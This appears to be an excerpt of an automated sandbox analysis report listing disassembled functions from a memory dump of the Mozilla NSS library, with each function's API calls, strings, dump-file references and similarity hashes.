PR_LogPrint.NSS3(?,00000000), ref: 6CAA6849
PR_LogPrint.NSS3( pEncryptedData = 0x%p,?), ref: 6CAA686A
PR_LogPrint.NSS3( ulEncryptedDataLen = %d,?), ref: 6CAA6883
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAA689C
PR_LogPrint.NSS3( pulDataLen = 0x%p,?), ref: 6CAA68B7
PR_LogPrint.NSS3( *pulDataLen = 0x%x,?), ref: 6CAA6929

Strings

*pulDataLen = 0x%x, xrefs: 6CAA6924
C_Decrypt, xrefs: 6CAA67F1
pulDataLen = 0x%p, xrefs: 6CAA68B2
(CK_INVALID_HANDLE), xrefs: 6CAA682C
hSession = 0x%x, xrefs: 6CAA680E, 6CAA681E
ulEncryptedDataLen = %d, xrefs: 6CAA687E
pData = 0x%p, xrefs: 6CAA6897
pEncryptedData = 0x%p, xrefs: 6CAA6865

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDataLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pEncryptedData = 0x%p$ pulDataLen = 0x%p$ ulEncryptedDataLen = %d$ (CK_INVALID_HANDLE)$C_Decrypt
API String ID: 1003633598-1867331214
Opcode ID: b050126702396f983ddb56f183ea4cdd17702494cd5040ddec7ec9a0a3047930
Instruction ID: 5be693fd090b534a03938b4888e6257405d5d64bb47bca90855185fa597086b0
Opcode Fuzzy Hash: b050126702396f983ddb56f183ea4cdd17702494cd5040ddec7ec9a0a3047930
Instruction Fuzzy Hash: A841D735602195FFDB048F98DD5CF8E7BB5AB46319F488065E90897B11DB30AC89CF92

Function 6CAE4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6CAE3803,?,6CAE3817,00000000), ref: 6CAE450E

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

PR_SetError.NSS3(FFFFE005,00000000,?,6CAE3817,00000000), ref: 6CAE4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6CAE45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CAE4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CAE4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CAE473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CAE4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBA2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CAE482E
PR_GetCurrentThread.NSS3 ref: 6CAE48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAE4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAE4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CAE494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CAE4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CAE21C2,?,?,?), ref: 6CAE499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAE49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CAE49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CAE49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAE49E9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: b6512b18a5a3326121279f2e9add1eb1f5fb3153978d3964eed4ac31a5247bea
Instruction ID: 9b408baaa883ca194cffa4dd8354cbbdcc7b0dd9f3d53a93a4ef76b23e4c58cb
Opcode Fuzzy Hash: b6512b18a5a3326121279f2e9add1eb1f5fb3153978d3964eed4ac31a5247bea
Instruction Fuzzy Hash: 94A1D4B5E052049BFF008AE5DD80BAE7669AB4D31CF284135EA05B7B81E721DCC4D7E1

Function 6CA607A0 Relevance: 28.7, APIs: 19, Instructions: 156COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB
InitializeCriticalSectionAndSpinCount.KERNEL32(00000040,000005DC,?,6C9F204A), ref: 6CA6091F
GetLastError.KERNEL32(?,6C9F204A), ref: 6CA6092A
free.MOZGLUE(00000000,?,?,6C9F204A), ref: 6CA6093A
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6C9F204A), ref: 6CA60946
free.MOZGLUE(00000000,?,?,?,6C9F204A), ref: 6CA6094D
free.MOZGLUE(?,?,?,6C9F204A), ref: 6CA6095E
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6C9F204A), ref: 6CA6096B
free.MOZGLUE(00000000,?,?,?,6C9F204A), ref: 6CA60972
EnterCriticalSection.KERNEL32(?,?,?,6C9F204A), ref: 6CA6098D
_PR_MD_UNLOCK.NSS3(?), ref: 6CA609D0

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalSectionfree$Deletecalloc$CountEnterErrorInitializeLastSpin
String ID:
API String ID: 4248343880-0
Opcode ID: 858ed2cff2a73bdfc854d0a8866d887b316fd844917a539f447dbae5f5d38b5a
Instruction ID: 4244e0f81d7e7eba3dc80d433fe79a552c596f7c2400d49c98a6400b5eaee3c1
Opcode Fuzzy Hash: 858ed2cff2a73bdfc854d0a8866d887b316fd844917a539f447dbae5f5d38b5a
Instruction Fuzzy Hash: 8651BF726003409BEB109FB6CC48B4B7AB9BB4A354F084428F45B87A41DB31E585CB95

Function 6CAC8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8E9E
PORT_ArenaAlloc_Util.NSS3(6CBD0B64,00000001,?,?,?,?,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAC8E01,00000000,6CAC9060,6CBD0B64), ref: 6CAC8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAC8E01), ref: 6CAC8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBD0B64,6CBD0B64), ref: 6CAC8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAC8F3F

Part of subcall function 6CACA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CACA421,00000000,00000000,6CAC9826), ref: 6CACA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAC904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAC8E76

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8cd71aa5259e08804d84ce00b916783c5f65e92eb3a4b636e9759fe1e010f48e
Instruction ID: 320637fa44400591aaeae00680cc27348195902bfe70304fc2a19dfe2d616a7d
Opcode Fuzzy Hash: 8cd71aa5259e08804d84ce00b916783c5f65e92eb3a4b636e9759fe1e010f48e
Instruction Fuzzy Hash: CB616DB5E01146ABDF10CF65CD80AAFB7BAFF84358F184128DC19A7740E731E955CAA1

Function 6CA78E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA78E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA78E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA78EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBA18D0,?), ref: 6CA78F03
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CA78F19
PL_FreeArenaPool.NSS3(?), ref: 6CA78F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA78F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA78F65
PL_FinishArenaPool.NSS3(?), ref: 6CA78FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CA78FFE
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CA79012
PL_FreeArenaPool.NSS3(?), ref: 6CA79024
PL_FinishArenaPool.NSS3(?), ref: 6CA7902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CA7903E

Strings

security, xrefs: 6CA78EE7

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 3ac047f6cc0ff1a5422238ed357c185b8ab47e6ae8229f963200339591b31e61
Instruction ID: 5cb37552760a2c87b6f3ba8fe7f4ade011e7fcf1efcbb06104eeccd8ecbab19f
Opcode Fuzzy Hash: 3ac047f6cc0ff1a5422238ed357c185b8ab47e6ae8229f963200339591b31e61
Instruction Fuzzy Hash: 215159B9608340ABD7209A589D41FAB33A8BF8575CF05082EF555A7B40E731E9898773

Function 6CAA4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAA4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA4EC7

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAA4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAA4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAA4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAA4F68

Strings

hObject = 0x%x, xrefs: 6CAA4EF5, 6CAA4F05
pTemplate = 0x%p, xrefs: 6CAA4F4A
ulCount = %d, xrefs: 6CAA4F63
(CK_INVALID_HANDLE), xrefs: 6CAA4EC0, 6CAA4F13
C_GetAttributeValue, xrefs: 6CAA4E7E
hSession = 0x%x, xrefs: 6CAA4EA2, 6CAA4EB2

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 021c1ab04e47c27f292b15c426b1a1e2baa3537e820f36eef846593ab5e7e9ff
Instruction ID: 4a571c92463ec70d4169aabb30fb89eb1143695fbb66db145ae4eb54755f633d
Opcode Fuzzy Hash: 021c1ab04e47c27f292b15c426b1a1e2baa3537e820f36eef846593ab5e7e9ff
Instruction Fuzzy Hash: 0541F435602194BFDB008F94ED58F9EB7B5EB4671DF089025F90857A11DB30AD8ECBA2

Function 6CAA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA4D37

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAA4E20

Strings

hObject = 0x%x, xrefs: 6CAA4D65, 6CAA4D75
pulSize = 0x%p, xrefs: 6CAA4DB7
(CK_INVALID_HANDLE), xrefs: 6CAA4D30, 6CAA4D83
hSession = 0x%x, xrefs: 6CAA4D12, 6CAA4D22
C_GetObjectSize, xrefs: 6CAA4CEE
*pulSize = 0x%x, xrefs: 6CAA4E1B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 30163fb00854a3e1816d1771285737442ce76123017852993f9024acc7c7a8f7
Instruction ID: 68758c07c10e2419708b1cd9a101bf6bf72c9517916d59ee225545ae4f2ae865
Opcode Fuzzy Hash: 30163fb00854a3e1816d1771285737442ce76123017852993f9024acc7c7a8f7
Instruction Fuzzy Hash: 0C41F635601294BFDB008F94ED98F6E7775EB4631DF048025F9086BA11DB31AC8DCB52

Function 6CA727F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

CERT_GetCommonName.NSS3(?), ref: 6CA72801
CERT_GetOrgUnitName.NSS3(?), ref: 6CA72810
CERT_GetOrgName.NSS3(?), ref: 6CA72821
PR_smprintf.NSS3(6CBAAAF9,?), ref: 6CA72869
PR_smprintf.NSS3(%s - %s #%d,00000000,?,00000002), ref: 6CA7287D
PR_smprintf.NSS3(%s #%d,?,00000001), ref: 6CA72890
CERT_FindCertByNickname.NSS3(?,00000000), ref: 6CA728A8
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA728B5
free.MOZGLUE(00000000), ref: 6CA728BE
free.MOZGLUE(00000000), ref: 6CA728D2
free.MOZGLUE(?), ref: 6CA728E3
PORT_Strdup_Util.NSS3(Unknown CA), ref: 6CA72905

Strings

%s - %s #%d, xrefs: 6CA72878
%s - %s, xrefs: 6CA72855
Unknown CA, xrefs: 6CA72900

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: NameR_smprintffree$CertCertificateCommonDestroyFindNicknameStrdup_UnitUtil
String ID: %s - %s$%s - %s #%d$Unknown CA
API String ID: 778386754-45099391
Opcode ID: 150a24c27eb50d9169c3ff2b331b0a13985b1c995b5f46436132ab2e16d7bede
Instruction ID: 49e60d5cc39cdaeaa17ca37abe143478e61d311e2721f7863ae7f1599f38d5ab
Opcode Fuzzy Hash: 150a24c27eb50d9169c3ff2b331b0a13985b1c995b5f46436132ab2e16d7bede
Instruction Fuzzy Hash: 8231F6BEE00112A7EB205FA55D4CA9B766CBF1535CF0C0231E81992A01F723D99D82F3

Function 6CB3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB3CC7B), ref: 6CB3CD7A

Part of subcall function 6CB3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CAAC1A8,?), ref: 6CB3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB3CD8E

Part of subcall function 6CA605C0: PR_EnterMonitor.NSS3 ref: 6CA605D1
Part of subcall function 6CA605C0: PR_ExitMonitor.NSS3 ref: 6CA605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB3CE48

Strings

getnameinfo, xrefs: 6CB3CDB2, 6CB3CE23
wship6.dll, xrefs: 6CB3CDE3
getaddrinfo, xrefs: 6CB3CD88, 6CB3CDF9
freeaddrinfo, xrefs: 6CB3CD9F, 6CB3CE10
ws2_32.dll, xrefs: 6CB3CD75

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fc10fa1965df9c391e0a71f7d2003eb495e931e5109106a16c33105262e12745
Instruction ID: c873717a886f54ef5c0ef3a8564b9c4ca0c92b45ac503a397fa8e352825a6cd3
Opcode Fuzzy Hash: fc10fa1965df9c391e0a71f7d2003eb495e931e5109106a16c33105262e12745
Instruction Fuzzy Hash: 6611E9F9E021B112D705A6FA6C1099A3858DB1212EF1C9639F81DD2F41FB21E58D82E7

Function 6CAB4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6CAB4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB471C
TlsGetValue.KERNEL32 ref: 6CAB477C
EnterCriticalSection.KERNEL32(?), ref: 6CAB479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAB484A
PK11_FreeSymKey.NSS3(?), ref: 6CAB4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB486A
PR_Unlock.NSS3(?), ref: 6CAB487E

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

PK11_FreeSymKey.NSS3(?), ref: 6CAB488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB489C
PK11_GetInternalSlot.NSS3 ref: 6CAB48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6CA97F9D), ref: 6CAB48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAB492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB4949
PR_SetError.NSS3(00000000,00000000), ref: 6CAB4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB499B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 9f7d2015ed9be875e5e79652c2d9b24587375abe9179a05f2a6a1b5f786c43d7
Instruction ID: 7a5bc7e5c00c074dfd224d96b0d89ea306b6fd2ab3416be790b24c55f75a09b7
Opcode Fuzzy Hash: 9f7d2015ed9be875e5e79652c2d9b24587375abe9179a05f2a6a1b5f786c43d7
Instruction Fuzzy Hash: 12E17975D002599FDB20CF64CD44BEABBB9EF04308F1485A9E819A7751E7329AD8CF90

Function 6CAD6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

